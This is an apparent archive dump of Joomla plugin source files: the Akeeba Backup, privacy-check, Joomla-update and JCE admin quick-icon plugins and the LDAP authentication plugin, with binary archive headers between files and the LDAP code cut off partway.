CacheCleaner::clearPluginsCache();

// Timezone fix; avoids errors printed out by PHP 5.3.3+ (thanks Yannick!)
if (function_exists('date_default_timezone_get') && function_exists('date_default_timezone_set'))
{
	if (function_exists('error_reporting'))
	{
		$oldLevel = error_reporting(0);
	}
	$serverTimezone = @date_default_timezone_get();
	if (empty($serverTimezone) || !is_string($serverTimezone))
	{
		$serverTimezone = 'UTC';
	}
	if (function_exists('error_reporting'))
	{
		error_reporting($oldLevel);
	}
	@date_default_timezone_set($serverTimezone);
}
/*
 * Hopefully, if we are still here, the site is running on at least PHP5. This means that
 * including the Akeeba Backup factory class will not throw a White Screen of Death, locking
 * the administrator out of the back-end.
 */

// Make sure Akeeba Backup is installed, or quit
$akeeba_installed = @file_exists(JPATH_ADMINISTRATOR . '/components/com_akeeba/BackupEngine/Factory.php');

if (!$akeeba_installed)
{
	return;
}

// Make sure Akeeba Backup is enabled
if (!ComponentHelper::isEnabled('com_akeeba'))
{
	return;
}

// Joomla! 1.6 or later - check ACLs (and not display when the site is bricked,
// hopefully resulting in no stupid emails from users who think that somehow
// Akeeba Backup crashed their site). It also not displays the button to people
// who are not authorised to take backups - which makes perfect sense!
$continueLoadingIcon = true;
$user                = JFactory::getUser();

if (!$user->authorise('akeeba.backup', 'com_akeeba'))
{
	$continueLoadingIcon = false;
}

// Do we really, REALLY have Akeeba Engine?
if ($continueLoadingIcon)
{
	if (!defined('AKEEBAENGINE'))
	{
		define('AKEEBAENGINE', 1); // Required for accessing Akeeba Engine's factory class
	}
	try
	{
		@include_once JPATH_ADMINISTRATOR . '/components/com_akeeba/BackupEngine/Factory.php';
		if (!class_exists('\Akeeba\Engine\Factory', false))
		{
			$continueLoadingIcon = false;
		}
	}
	catch (Exception $e)
	{
		$continueLoadingIcon = false;
	}
}

// Enable self if we have to bail out
if (!$continueLoadingIcon)
{
	$db    = JFactory::getDbo();
	$query = $db->getQuery(true)
		->update($db->qn('#__extensions'))
		->set($db->qn('enabled') . ' = ' . $db->q('1'))
		->where($db->qn('element') . ' = ' . $db->q('akeebabackup'))
		->where($db->qn('folder') . ' = ' . $db->q('quickicon'));
	$db->setQuery($query);
	$db->execute();

	CacheCleaner::clearPluginsCache();

	return;
}
unset($continueLoadingIcon);

/**
 * Akeeba Backup Notification plugin
 */
class plgQuickiconAkeebabackup extends CMSPlugin
{
	/**
	 * Constructor
	 *
	 * @param   object  $subject  The object to observe
	 * @param   array   $config   An array that holds the plugin configuration
	 *
	 * @since       2.5
	 */
	public function __construct(&$subject, $config)
	{
		/**
		 * I know that this piece of code cannot possibly be executed since I have already returned BEFORE declaring
		 * the class when eAccelerator is detected. However, eAccelerator is being dumb. It will return above BUT it
		 * will also declare the class EVEN THOUGH according to how PHP works this part of the code should be
		 * unreachable o_O Therefore I have to define this constant and exit the constructor when we have already
		 * determined that this class MUST NOT be defined.
		 */
		if (defined('AKEEBA_EACCELERATOR_IS_SO_BORKED_IT_DOES_NOT_EVEN_RETURN'))
		{
			return;
		}

		parent::__construct($subject, $config);
		$this->loadLanguage();
	}

	/**
	 * This method is called when the Quick Icons module is constructing its set
	 * of icons. You can return an array which defines a single icon and it will
	 * be rendered right after the stock Quick Icons.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array|null A list of icon definition associative arrays, consisting of the
	 *                 keys link, image, text and access.
	 *
	 * @throws  Exception
	 */
	public function onGetIcons($context)
	{
		$container           = Container::getInstance('com_akeeba');
		$user                = $container->platform->getUser();
		$j4WarningJavascript = false;

		if (!$user->authorise('akeeba.backup', 'com_akeeba'))
		{
			return null;
		}

		/**
		 * The context in which quickicons appear. There's a reason this is hardcoded now.
		 *
		 * Joomla 3. This is always mod_quickicon. Grouping is defined by the 'group' key of the returned array. This is
		 * the sane way I personally wrote this feature when I contributed it to Joomla! 1.7. The whole point of the
		 * 'context' was that you could have **extension specific** quick icon plugins. Think about how JCE shows icons
		 * in its control panel. The incoming context determines which plugins to load, the returned group key
		 * determines how the icons are grouped in the context.
		 *
		 * Joomla 4. The context defines the quick icon grouping. The 'group' key of the returned array is ignored. All
		 * quick icon plugins which respond to the 'mod_quickicon' context are shown in the "Third party" backend
		 * module. This is a nonsensical change.
		 *
		 * Unfortunately, this means that I have to remove the user-defined context option. The reason is that Joomla
		 * renders plugin options based on a static XML file which is common for J3 and J4. However, the context has a
		 * different meaning and requires a different setting for J3 and J4. I have to take the flexibility away from
		 * the user and force a default context in J4 which puts our icon in Update Checks.
		 *
		 * Yes, I know that the Update Checks module is, at the very least, mislabeled. There are of course the updates
		 * to Joomla and extensions but also privacy requests and overrides, the latter two not being updates in any
		 * conceivable form and in any possible universe. Since this backend module is supposed to have everything I am
		 * going to throw my backup check in there. At least my plugin shows "backup up-to-date" or "update needed"
		 * which actually makes it FAR MORE RELEVANT in an "updates" area on the page than the friggin' privacy
		 * requests!
		 */
		$configuredContext = version_compare(JVERSION, '3.999.999', 'gt') ? 'update_quickicon' : 'mod_quickicon';

		/**/
		if (
			$context != $configuredContext
			|| !JFactory::getUser()->authorise('core.manage', 'com_installer')
		)
		{
			return null;
		}
		/**/

		// Necessary defines for Akeeba Engine
		if (!defined('AKEEBAENGINE'))
		{
			define('AKEEBAENGINE', 1);
			define('AKEEBAROOT', $container->backEndPath . '/BackupEngine');
			define('ALICEROOT', $container->backEndPath . '/AliceEngine');

			// Make sure we have a profile set throughout the component's lifetime
			$profile_id = $container->platform->getSessionVar('profile', null, 'akeeba');

			if (is_null($profile_id))
			{
				$container->platform->setSessionVar('profile', 1, 'akeeba');
			}

			// Load Akeeba Engine
			require_once $container->backEndPath . '/BackupEngine/Factory.php';
		}

		Platform::addPlatform('joomla3x', JPATH_ADMINISTRATOR . '/components/com_akeeba/BackupPlatform/Joomla3x');

		$url = Uri::base();
		$url = rtrim($url, '/');

		$profileId = (int) $this->params->get('profileid', 1);
		$token     = $container->platform->getToken(true);

		if ($profileId <= 0)
		{
			$profileId = 1;
		}

		$isJoomla4 = version_compare(JVERSION, '3.999.999', 'gt');

		$ret = [
			'link'  => 'index.php?option=com_akeeba&view=Backup&autostart=1&returnurl=' . base64_encode($url) . '&profileid=' . $profileId . "&$token=1",
			'image' => 'akeeba-black',
			'text'  => Text::_('PLG_QUICKICON_AKEEBABACKUP_OK'),
			'id'    => 'plg_quickicon_akeebabackup',
			'group' => 'MOD_QUICKICON_MAINTENANCE',
		];

		if ($isJoomla4)
		{
			$ret['image'] = 'fa fa-akeeba-black';
		}

		if ($this->params->get('enablewarning', 0) == 0)
		{
			// Process warnings
			$warning = false;

			$aeconfig = Factory::getConfiguration();
			Platform::getInstance()->load_configuration(1);

			// Get latest non-SRP backup ID
			$filters  = [
				[
					'field'   => 'tag',
					'operand' => '<>',
					'value'   => 'restorepoint',
				],
			];
			$ordering = [
				'by'    => 'backupstart',
				'order' => 'DESC',
			];

			/** @var Statistics $model */
			$model = $container->factory->model('Statistics')->tmpInstance();
			$list  = $model->getStatisticsListWithMeta(false, $filters, $ordering);

			if (!empty($list))
			{
				$record = (object) array_shift($list);
			}
			else
			{
				$record = null;
			}

			// Process "failed backup" warnings, if specified
			if ($this->params->get('warnfailed', 0) == 0)
			{
				if (!is_null($record))
				{
					$warning = (($record->status == 'fail') || ($record->status == 'run'));
				}
			}

			// Process "stale backup" warnings, if specified
			if (is_null($record))
			{
				$warning = true;
			}
			else
			{
				$maxperiod        = $this->params->get('maxbackupperiod', 24);
				$lastBackupRaw    = $record->backupstart;
				$lastBackupObject = new Date($lastBackupRaw);
				$lastBackup       = $lastBackupObject->toUnix();
				$maxBackup        = time() - $maxperiod * 3600;
				if (!$warning)
				{
					$warning = ($lastBackup < $maxBackup);
				}
			}

			if ($warning)
			{
				$ret['image'] = 'akeeba-red';
				$ret['text']  = Text::_('PLG_QUICKICON_AKEEBABACKUP_BACKUPREQUIRED');

				if ($isJoomla4)
				{
					/**
					 * Joomla! 4 is dumb. Quickicons cannot have a class. However, Joomla! itself uses a class on the icon
					 * container to tell users when the update status is OK or there are updates required. Therefore we will
					 * have to use some Javascript to achieve the same result. Grrrr...
					 */
					$j4WarningJavascript = true;
					$ret['image']        = 'fa fa-akeeba-red';
				}
				else
				{
					$ret['text'] = '<span class="badge badge-important">' . $ret['text'] . '</span>';
				}
			}
		}

		$inlineCSS = <<< CSS
@font-face
{
	font-family: "Akeeba Products for Quickicons";
	font-style: normal;
	font-weight: normal;
	src: url("../media/com_akeeba/fonts/akeeba/Akeeba-Products.woff") format("woff"); 
}

[class*=fa-akeeba-]:before
{
  display: inline-block;
  font-family: 'Akeeba Products for Quickicons';
  font-style: normal;
  font-weight: normal;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  position: relative;
  -moz-osx-font-smoothing: grayscale;
}

span.fa-akeeba-black:before,
div.fa-akeeba-black:before
{
  color: var(--success);
  background: transparent;
}

span.fa-akeeba-red:before,
div.fa-akeeba-red:before
{
  color: var(--danger);
  background: transparent;
}

span[class*=fa-akeeba]:before,
div[class*=fa-akeeba]:before
{
	content: 'B';
}

.icon-akeeba-black {
	background-image: url("../media/com_akeeba/icons/akeebabackup-16-black.png");
	width: 16px;
	height: 16px;
}

.icon-akeeba-red {
	background-image: url("../media/com_akeeba/icons/akeebabackup-16-red.png");
	width: 16px;
	height: 16px;
}

.quick-icons .nav-list [class^="icon-akeeba-"], .quick-icons .nav-list [class*=" icon-akeeba-"] {
	margin-right: 7px;
}

.quick-icons .nav-list [class^="icon-akeeba-red"], .quick-icons .nav-list [class*=" icon-akeeba-red"] {
	margin-bottom: -4px;
}
CSS;

		JFactory::getApplication()->getDocument()->addStyleDeclaration($inlineCSS);

		if ($isJoomla4)
		{
			$myClass  = $j4WarningJavascript ? 'danger' : 'success';
			$inlineJS = <<< JS
// ; Defense against third party broken Javascript
document.addEventListener('DOMContentLoaded', function() {
	document.getElementById('plg_quickicon_akeebabackup').className = 'pulse $myClass';
});

JS;

			JFactory::getApplication()->getDocument()->addScriptDeclaration($inlineJS);
		}

		// Re-enable self
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->update($db->qn('#__extensions'))
			->set($db->qn('enabled') . ' = ' . $db->q('1'))
			->where($db->qn('element') . ' = ' . $db->q('akeebabackup'))
			->where($db->qn('folder') . ' = ' . $db->q('quickicon'));
		$db->setQuery($query);
		$db->execute();

		CacheCleaner::clearPluginsCache();

		return [$ret];
	}
}
PK�(]L�J���!quickicon/akeebabackup/index.htmlnu�[���<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<html><head><title></title></head><body></body></html>PK�(]|��N!quickicon/akeebabackup/web.confignu�[���<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK�(]�w	ڔ	�	'quickicon/privacycheck/privacycheck.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.privacycheck
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Uri\Uri;

/**
 * Plugin to check privacy requests older than 14 days
 *
 * @since  3.9.0
 */
class PlgQuickiconPrivacyCheck extends JPlugin
{
	/**
	 * Load plugin language files automatically
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Check privacy requests older than 14 days.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array   A list of icon definition associative arrays
	 *
	 * @since   3.9.0
	 */
	public function onGetIcons($context)
	{
		if ($context !== $this->params->get('context', 'mod_quickicon') || !Factory::getUser()->authorise('core.admin'))
		{
			return;
		}

		JHtml::_('jquery.framework');

		$token    = Session::getFormToken() . '=' . 1;
		$privacy  = 'index.php?option=com_privacy';

		$options  = array(
			'plg_quickicon_privacycheck_url'      => Uri::base() . $privacy . '&view=requests&filter[status]=1&list[fullordering]=a.requested_at ASC',
			'plg_quickicon_privacycheck_ajax_url' => Uri::base() . $privacy . '&task=getNumberUrgentRequests&' . $token,
			'plg_quickicon_privacycheck_text'     => array(
				"NOREQUEST"            => Text::_('PLG_QUICKICON_PRIVACYCHECK_NOREQUEST'),
				"REQUESTFOUND"         => Text::_('PLG_QUICKICON_PRIVACYCHECK_REQUESTFOUND'),
				"REQUESTFOUND_MESSAGE" => Text::_('PLG_QUICKICON_PRIVACYCHECK_REQUESTFOUND_MESSAGE'),
				"REQUESTFOUND_BUTTON"  => Text::_('PLG_QUICKICON_PRIVACYCHECK_REQUESTFOUND_BUTTON'),
				"ERROR"                => Text::_('PLG_QUICKICON_PRIVACYCHECK_ERROR'),
			)
		);

		Factory::getDocument()->addScriptOptions('js-privacy-check', $options);

		JHtml::_('script', 'plg_quickicon_privacycheck/privacycheck.js', array('version' => 'auto', 'relative' => true));

		return array(
			array(
				'link'  => $privacy . '&view=requests&filter[status]=1&list[fullordering]=a.requested_at ASC',
				'image' => 'users',
				'icon'  => 'header/icon-48-user.png',
				'text'  => Text::_('PLG_QUICKICON_PRIVACYCHECK_CHECKING'),
				'id'    => 'plg_quickicon_privacycheck',
				'group' => 'MOD_QUICKICON_USERS'
			)
		);
	}
}
PK�(]��f55'quickicon/privacycheck/privacycheck.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_privacycheck</name>
	<author>Joomla! Project</author>
	<creationDate>June 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_QUICKICON_PRIVACYCHECK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="privacycheck">privacycheck.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_privacycheck.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_privacycheck.sys.ini</language>
	</languages>
</extension>
PK�(]"[؋\\'quickicon/joomlaupdate/joomlaupdate.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_joomlaupdate</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomlaupdate">joomlaupdate.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_joomlaupdate.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_joomlaupdate.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="context"
					type="text"
					label="PLG_QUICKICON_JOOMLAUPDATE_GROUP_LABEL"
					description="PLG_QUICKICON_JOOMLAUPDATE_GROUP_DESC"
					default="mod_quickicon"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]���NN'quickicon/joomlaupdate/joomlaupdate.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.Joomlaupdate
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! update notification plugin
 *
 * @since  2.5
 */
class PlgQuickiconJoomlaupdate extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * This method is called when the Quick Icons module is constructing its set
	 * of icons. You can return an array which defines a single icon and it will
	 * be rendered right after the stock Quick Icons.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array  A list of icon definition associative arrays, consisting of the
	 *                 keys link, image, text and access.
	 *
	 * @since   2.5
	 */
	public function onGetIcons($context)
	{
		if ($context !== $this->params->get('context', 'mod_quickicon') || !JFactory::getUser()->authorise('core.manage', 'com_joomlaupdate'))
		{
			return;
		}

		JHtml::_('jquery.framework');

		$currentTemplate = JFactory::getApplication()->getTemplate();

		$url      = JUri::base() . 'index.php?option=com_joomlaupdate';
		$ajaxUrl  = JUri::base() . 'index.php?option=com_joomlaupdate&task=update.ajax&' . JSession::getFormToken() . '=1';
		$script   = array();
		$script[] = 'var plg_quickicon_joomlaupdate_url = \'' . $url . '\';';
		$script[] = 'var plg_quickicon_joomlaupdate_ajax_url = \'' . $ajaxUrl . '\';';
		$script[] = 'var plg_quickicon_jupdatecheck_jversion = \'' . JVERSION . '\'';
		$script[] = 'var plg_quickicon_joomlaupdate_text = {'
			. '"UPTODATE" : "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPTODATE', true) . '",'
			. '"UPDATEFOUND": "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND', true) . '",'
			. '"UPDATEFOUND_MESSAGE": "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND_MESSAGE', true) . '",'
			. '"UPDATEFOUND_BUTTON": "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND_BUTTON', true) . '",'
			. '"ERROR": "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_ERROR', true) . '",'
			. '};';
		$script[] = 'var plg_quickicon_joomlaupdate_img = {'
			. '"UPTODATE" : "' . JUri::base(true) . '/templates/' . $currentTemplate . '/images/header/icon-48-jupdate-uptodate.png",'
			. '"UPDATEFOUND": "' . JUri::base(true) . '/templates/' . $currentTemplate . '/images/header/icon-48-jupdate-updatefound.png",'
			. '"ERROR": "' . JUri::base(true) . '/templates/' . $currentTemplate . '/images/header/icon-48-deny.png",'
			. '};';
		JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));
		JHtml::_('script', 'plg_quickicon_joomlaupdate/jupdatecheck.js', array('version' => 'auto', 'relative' => true));

		return array(
			array(
				'link' => 'index.php?option=com_joomlaupdate',
				'image' => 'joomla',
				'icon' => 'header/icon-48-download.png',
				'text' => JText::_('PLG_QUICKICON_JOOMLAUPDATE_CHECKING'),
				'id' => 'plg_quickicon_joomlaupdate',
				'group' => 'MOD_QUICKICON_MAINTENANCE'
			)
		);
	}
}
PK�(]+E���quickicon/jce/jce.phpnu�[���<?php

/**
 * @copyright 	Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die;

/**
 * JCE File Browser Quick Icon plugin.
 *
 * @since		2.1
 */
class plgQuickiconJce extends JPlugin
{
    public function __construct(&$subject, $config)
    {
        parent::__construct($subject, $config);

        $app = JFactory::getApplication();

        // only in Admin and only if the component is enabled
        if ($app->getClientId() !== 1 || JComponentHelper::getComponent('com_jce', true)->enabled === false) {
            return;
        }

        $this->loadLanguage();
    }

    public function onGetIcons($context)
    {
        if ($context != $this->params->get('context', 'mod_quickicon')) {
            return;
        }

        $user = JFactory::getUser();

        if (!$user->authorise('jce.browser', 'com_jce')) {
            return;
        }

        $language = JFactory::getLanguage();
        $language->load('com_jce', JPATH_ADMINISTRATOR);

        return array(array(
            'link'      => 'index.php?option=com_jce&view=browser',
            'image'     => 'picture fa fa-image',
            'access'    => array('jce.browser', 'com_jce'),
            'text'      => JText::_('PLG_QUICKICON_JCE_TITLE'),
            'id'        => 'plg_quickicon_jce',
        ));
    }
}
PK�(]'�n
��quickicon/jce/jce.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_jce</name>
	<version>2.9.38</version>
    <creationDate>27-06-2023</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
    <copyright>Copyright (C) 2006 - 2023 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>PLG_QUICKICON_JCE_XML_DESCRIPTION</description>
	<files folder="plugins/quickicon/jce">
		<filename plugin="jce">jce.php</filename>
	</files>
	<languages folder="administrator/language/en-GB">
      <language tag="en-GB">en-GB.plg_quickicon_jce.ini</language>
      <language tag="en-GB">en-GB.plg_quickicon_jce.sys.ini</language>
  </languages>
</extension>
PK�(]l��;��authentication/ldap/ldap.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="authentication" method="upgrade">
	<name>plg_authentication_ldap</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_LDAP_XML_DESCRIPTION</description>
	<files>
		<filename plugin="ldap">ldap.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_authentication_ldap.ini</language>
		<language tag="en-GB">en-GB.plg_authentication_ldap.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="host"
					type="text"
					label="PLG_LDAP_FIELD_HOST_LABEL"
					description="PLG_LDAP_FIELD_HOST_DESC"
					size="20"
				/>

				<field
					name="port"
					type="number"
					label="PLG_LDAP_FIELD_PORT_LABEL"
					description="PLG_LDAP_FIELD_PORT_DESC"
					min="1"
					max="65535"
					default="389"
					hint="389"
					validate="number"
					filter="integer"
					size="5"
				/>

				<field
					name="use_ldapV3"
					type="radio"
					label="PLG_LDAP_FIELD_V3_LABEL"
					description="PLG_LDAP_FIELD_V3_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="negotiate_tls"
					type="radio"
					label="PLG_LDAP_FIELD_NEGOCIATE_LABEL"
					description="PLG_LDAP_FIELD_NEGOCIATE_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="ignore_reqcert_tls"
					type="radio"
					label="PLG_LDAP_FIELD_IGNORE_REQCERT_TLS_LABEL"
					description="PLG_LDAP_FIELD_IGNORE_REQCERT_TLS_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="no_referrals"
					type="radio"
					label="PLG_LDAP_FIELD_REFERRALS_LABEL"
					description="PLG_LDAP_FIELD_REFERRALS_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="auth_method"
					type="list"
					label="PLG_LDAP_FIELD_AUTHMETHOD_LABEL"
					description="PLG_LDAP_FIELD_AUTHMETHOD_DESC"
					default="bind"
					>
					<option value="search">PLG_LDAP_FIELD_VALUE_BINDSEARCH</option>
					<option value="bind">PLG_LDAP_FIELD_VALUE_BINDUSER</option>
				</field>

				<field
					name="base_dn"
					type="text"
					label="PLG_LDAP_FIELD_BASEDN_LABEL"
					description="PLG_LDAP_FIELD_BASEDN_DESC"
					size="20"
				/>

				<field
					name="search_string"
					type="text"
					label="PLG_LDAP_FIELD_SEARCHSTRING_LABEL"
					description="PLG_LDAP_FIELD_SEARCHSTRING_DESC"
					size="20"
				/>

				<field
					name="users_dn"
					type="text"
					label="PLG_LDAP_FIELD_USERSDN_LABEL"
					description="PLG_LDAP_FIELD_USERSDN_DESC"
					size="20"
				/>

				<field
					name="username"
					type="text"
					label="PLG_LDAP_FIELD_USERNAME_LABEL"
					description="PLG_LDAP_FIELD_USERNAME_DESC"
					size="20"
				/>

				<field
					name="password"
					type="password"
					label="PLG_LDAP_FIELD_PASSWORD_LABEL"
					description="PLG_LDAP_FIELD_PASSWORD_DESC"
					size="20"
				/>

				<field
					name="ldap_fullname"
					type="text"
					label="PLG_LDAP_FIELD_FULLNAME_LABEL"
					description="PLG_LDAP_FIELD_FULLNAME_DESC"
					default="fullName"
					size="20"
				/>

				<field
					name="ldap_email"
					type="text"
					label="PLG_LDAP_FIELD_EMAIL_LABEL"
					description="PLG_LDAP_FIELD_EMAIL_DESC"
					default="mail"
					size="20"
				/>

				<field
					name="ldap_uid"
					type="text"
					label="PLG_LDAP_FIELD_UID_LABEL"
					description="PLG_LDAP_FIELD_UID_DESC"
					default="uid"
					size="20"
				/>
				<field
					name="ldap_debug"
					type="radio"
					label="PLG_LDAP_FIELD_LDAPDEBUG_LABEL"
					description="PLG_LDAP_FIELD_LDAPDEBUG_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]2� ��authentication/ldap/ldap.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.ldap
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Ldap\LdapClient;

/**
 * LDAP Authentication Plugin
 *
 * @since  1.5
 */
class PlgAuthenticationLdap extends JPlugin
{
	/**
	 * This method should handle any authentication and report back to the subject
	 *
	 * @param   array   $credentials  Array holding the user credentials
	 * @param   array   $options      Array of extra options
	 * @param   object  &$response    Authentication response object
	 *
	 * @return  boolean
	 *
	 * @since   1.5
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		$userdetails = null;
		$success = 0;
		$userdetails = array();

		// For JLog
		$response->type = 'LDAP';

		// Strip null bytes from the password
		$credentials['password'] = str_replace(chr(0), '', $credentials['password']);

		// LDAP does not like Blank passwords (tries to Anon Bind which is bad)
		if (empty($credentials['password']))
		{
			$response->status = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED');

			return false;
		}

		// Load plugin params info
		$ldap_email    = $this->params->get('ldap_email');
		$ldap_fullname = $this->params->get('ldap_fullname');
		$ldap_uid      = $this->params->get('ldap_uid');
		$auth_method   = $this->params->get('auth_method');

		$ldap = new LdapClient($this->params);

		if (!$ldap->connect())
		{
			$response->status = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_NOT_CONNECT');

			return;
		}

		switch ($auth_method)
		{
			case 'search':
			{
				// Bind using Connect Username/password
				// Force anon bind to mitigate misconfiguration like [#7119]
				if ($this->params->get('username', '') !== '')
				{
					$bindtest = $ldap->bind();
				}
				else
				{
					$bindtest = $ldap->anonymous_bind();
				}

				if ($bindtest)
				{
					// Search for users DN
					$binddata = $this->searchByString(
						str_replace(
							'[search]',
							str_replace(';', '\3b', $ldap->escape($credentials['username'], null, LDAP_ESCAPE_FILTER)),
							$this->params->get('search_string')
						),
						$ldap
					);

					if (isset($binddata[0], $binddata[0]['dn']))
					{
						// Verify Users Credentials
						$success = $ldap->bind($binddata[0]['dn'], $credentials['password'], 1);

						// Get users details
						$userdetails = $binddata;
					}
					else
					{
						$response->status = JAuthentication::STATUS_FAILURE;
						$response->error_message = JText::_('JGLOBAL_AUTH_NO_USER');
					}
				}
				else
				{
					$response->status = JAuthentication::STATUS_FAILURE;
					$response->error_message = JText::_('JGLOBAL_AUTH_NOT_CONNECT');
				}
			}	break;

			case 'bind':
			{
				// We just accept the result here
				$success = $ldap->bind($ldap->escape($credentials['username'], null, LDAP_ESCAPE_DN), $credentials['password']);

				if ($success)
				{
					$userdetails = $this->searchByString(
						str_replace(
							'[search]',
							str_replace(';', '\3b', $ldap->escape($credentials['username'], null, LDAP_ESCAPE_FILTER)),
							$this->params->get('search_string')
						),
						$ldap
					);
				}
				else
				{
					$response->status = JAuthentication::STATUS_FAILURE;
					$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS');
				}
			}	break;
		}

		if (!$success)
		{
			$response->status = JAuthentication::STATUS_FAILURE;

			if ($response->error_message === '')
			{
				$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS');
			}
		}
		else
		{
			// Grab some details from LDAP and return them
			if (isset($userdetails[0][$ldap_uid][0]))
			{
				$response->username = $userdetails[0][$ldap_uid][0];
			}

			if (isset($userdetails[0][$ldap_email][0]))
			{
				$response->email = $userdetails[0][$ldap_email][0];
			}

			if (isset($userdetails[0][$ldap_fullname][0]))
			{
				$response->fullname = $userdetails[0][$ldap_fullname][0];
			}
			else
			{
				$response->fullname = $credentials['username'];
			}

			// Were good - So say so.
			$response->status        = JAuthentication::STATUS_SUCCESS;
			$response->error_message = '';
		}

		$ldap->close();
	}

	/**
